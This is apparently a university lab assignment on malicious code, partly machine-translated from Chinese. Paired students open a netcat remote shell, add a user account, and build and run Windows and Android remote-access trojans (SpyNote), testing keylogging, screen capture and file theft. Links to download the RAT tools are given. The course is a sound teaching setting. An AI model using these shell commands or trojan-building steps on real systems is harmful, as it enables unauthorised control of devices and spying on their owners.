Experiment 4 malicious code technology Yang Haitao 201 721 450 030

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

School    No.

 

Chinese People's Public Security University

Chinese people public security university

 

Network Warfare Technology

experimental report

 

Experiment 4

Malicious code technology

 

 

 

student name

Yang Haitao 

grade

 17

District Team

Five district teams

mentor

Your opinion 

 

 

Information and Network Security Technology College

201 6 Nian 11 Yue 7 Ri

 

Experimental Task Master

20 1 6 -20 1 7 grade Dai Ichi semester   

First, the purpose of the experiment

1 . With practice for the Trojans, so that readers understand and master the Trojans spread and mechanisms of operation; manually delete the Trojan, the Trojan checks to grasp and remove Trojans skills, learn Trojan defense-related knowledge, enhance awareness of security for the Trojans.

 

2 . Understand and are familiar with common network attack tools, the basic functions of Trojans ;

3 . The purpose of the consolidation of curriculum knowledge and practical application.

Second, the experimental requirements

1 . Carefully read the contents of each experiment, we need to capture the title, to be clear screenshots and annotate screenshots and descriptions.

2 . Documentation requirements clearly structured , graphic expression accurate labeling specifications. Reasoning was objective, reasonable and logical.

3 . Software tools can use the NC , the MSF and so on .

4 . After the experiment, to retain electronic documents.

Three , experimental procedures

1 . ready

Experimental preparation well in advance, before the experiment should be detailed understanding of the purpose of the experiment, test requirements and test content , familiar and ready software tools with a good experiment , in accordance with the requirements and test content in advance to do the experiment content ready .

2 . lab environment

Describes the hardware and software environment used in the experiment (including a variety of software tools) ;

Office2003 boot and start the software or 2007 , browser, encryption and decryption software .

3 . experiment procedure

1 ) Start the system and start the tool software environment.

2 ) software tools to achieve experimental content.

4 . experimental report

Write lab reports in accordance with the standard requirements of the test report format. According to the template format to write the document embedded in the test report document, the document written in accordance with the provisions of the written format, the form must be said that the graphics have a table Illustrated.

 

A task using the NC control computer

 

 NetCat , with a network of Saber said it small and lean and powerful features make it small and lean, because his software has now been compressed to the size of only a dozen KB , but no reduction in functionality.

 

Experimental procedure requires two students with the completion of each other:

 

step one:

 

   In the machine (student A) the victim
enter the following command:
  nc.exe the -l -p -e cmd.exe Port    enter a listening mode

Step two:
  the attacker's machine (students B).
Enter the following command:
  NC // Port IP connection victim_IP, then get a the shell . (Screenshot required)

 

 

 

 Step three:

    在shell中,利用net user 用户名 密码 /add ,添加一个用户,并在受害者的机器中使用 net user 命令进行验证。(需要截图)

 

 

 

 

 

 可以继续通过命令行做一些事情。

 

 

 

 

 

任务二 利用木马控制电脑

相关工具:

https://pan.baidu.com/s/1ipOkdU2HTPFtgU6fF669Gg

https://pan.baidu.com/s/1ajmRKsnv5XvFrKWzszDYwQ(备用,另外一个木马)

 

实验过程需要两个同学配合:

 

步骤一:

 

    攻击者的机器. (同学A)
打开V2014.exe程序或则star RAT,这两个木马功能类似。

 

 

 

 

 


步骤二:
  点击菜单栏中的“服务生成”,在弹出的配置服务端中,配置回连IP地址(攻击者IP)和端口号,并点击“生成”按钮,生成木马服务端。

 

 

 

 

 

 

步骤三:

将生成的木马可执行程序拷贝到受害者的机器,并双击运行。 

 

 

 

 

步骤四:

在控制端中查看木马上线情况,并对以下功能每个进行测试和截图。 

  1. 文件管理,尝试拷贝文件

 

屏幕控制,尝试获取桌面

 

 

键盘记录,尝试获取对方击键记录

 

 

 

 

会话管理,重启对方机器,查看是否能自启动上线

 

会话管理,卸载对方的木马。

 

任务三 Android远控实践  所有过程截图写博客

 相关工具下载:

需要先安装.net framework4.0 (自行搜索下载)

spynote及环境工具:(解压密码rekings.com)

 

 

链接:https://pan.baidu.com/s/1TfPULyW2zvGOeJ_SOXUvSw
提取码:eufr

 

android模拟器:

https://www.yeshen.com/

http://mumu.163.com/

 

实验步骤:

一、攻击者打开spynote软件,该软件需要先安装.netframework4.0和jdk环境。

 

 

 

 

二、配置并打开监听端口

 

    点击Listen Port,在弹出的对话框中输入端口号,并点击Add按钮,最后点击OK,成功监听本地端口。【本过程选用3210端口,实验过程大家可以自己选择端口】

 

 

 

 

 

 

 

 

 

三、配置并生成木马

 

(1)点击Build Client按钮,弹出对话框

 

 

 

 

(2)配置回连IP和端口,IP地址填写运行spynote的机器IP,端口填写监听的端口号,本次填写3210端口。

 

 

 

 

 

 

    (3)配置相关属性信息。

 

 

 

 

    (4)最后点击Build按钮,在选择框中选择和spynote同处在一个文件夹中Patch-release.apk

 

 

 

 

 

 

    (5)完成后,自动打开APK生成所在的文件夹。

 

 

 

 

 

 

 

四、将木马安装在Android模拟其中。

 

 

 

 

五、在Spynote中控制手机

 

可以在spynote中看到有一台机器上线,并可以查看其基本信息。

 

 

 

 

在该机器中右键,可以看到可以对该机器进行控制的功能,从中选择4个以上的项目进行实验。

 

 

 

 

 

 

 

 

Guess you like

Origin www.cnblogs.com/P201721450030/p/12084379.html